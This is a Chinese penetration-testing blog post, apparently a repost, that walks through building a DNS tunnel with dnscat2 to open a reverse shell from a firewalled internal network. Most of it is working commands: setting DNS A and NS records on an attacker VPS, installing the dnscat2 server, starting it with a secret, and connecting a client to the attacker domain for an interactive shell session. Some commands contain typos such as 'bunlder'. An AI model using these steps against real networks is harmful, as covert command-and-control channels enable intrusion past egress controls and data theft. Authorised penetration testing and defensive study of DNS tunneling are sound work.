DNS隧道搭建及反弹shell之脱坑

2020-06-01 约 117 字 预计阅读 1 分钟

声明:本文 【DNS隧道搭建及反弹shell之脱坑】 由作者 sircoding 于 2020-06-01 10:14:00 首发 先知社区 曾经 浏览数 124 次

感谢 sircoding 的辛苦付出!

介绍及场景

在内网环境中,通常出于安全考虑,网络防火墙会对主机的网络协议进行限制,只会放行主机服务需要的协议,当处于内网中的shell需要与外部进行流量交互的时候,就需要通过放行的协议建立网络隧道,此时DNS协议往往是一个常用的选择。

搭建过程

  • vps部署域名解析
    首先对vps建立A记录
    创建NS记录,获取子域名的解析地址为A记录的域名

对NS记录mail子域进行解析指向ns1*.club的A记录
测试部署:
测试外部对mail子域的dns请求,然后查看vps是否处理该请求
客户端发送dns请求数据包:

vps对请求数据的处理

tcpdump -n -i eth0 udp dst port 53

  • 安装dnscat2服务端(此处注意踩坑)
    server端:
    需要ruby环境
    安装gem、ruby、dnscat2服务端
yum install gem
rm /usr/bin/ruby
wget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gz
tar -zxvf ruby-2.5.0.tar.gz
cd ruby-2.5.0
mkdir -p /usr/local/ruby
./configure --prefix=/usr/local/ruby
make  && make install
ln -s /usr/local/ruby/bin/ruby /usr/bin/ruby


git clone https://github.com/iagox86/dnscat2.git
cd /server
gem install bunlder
ln /usr/local/ruby/bin/bunlder /usr/bin/bunlder
bunlder install

启动服务端:

ruby dnscat2.rb mail.****.club -e open -c password --no-cache

客户端下载地址
https://downloads.skullsecurity.org/dnscat2/
powershell客户端
https://codeload.github.com/lukebaggett/dnscat2-powershell/zip/master

测试通信

./ruby --ping mail.target.com

连接服务端

./dnscat --secret=password mail.target.com

以下显示连接成功

server端
sessions显示已经有客户端会话

session -i session_id

进入会话,执行shell交互命令行

通过监听53端口的流量包发现大量的dns请求数据

tcpdump -n -i eth0 udp dst port 53

到此为止dns隧道建立的shell就完成。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now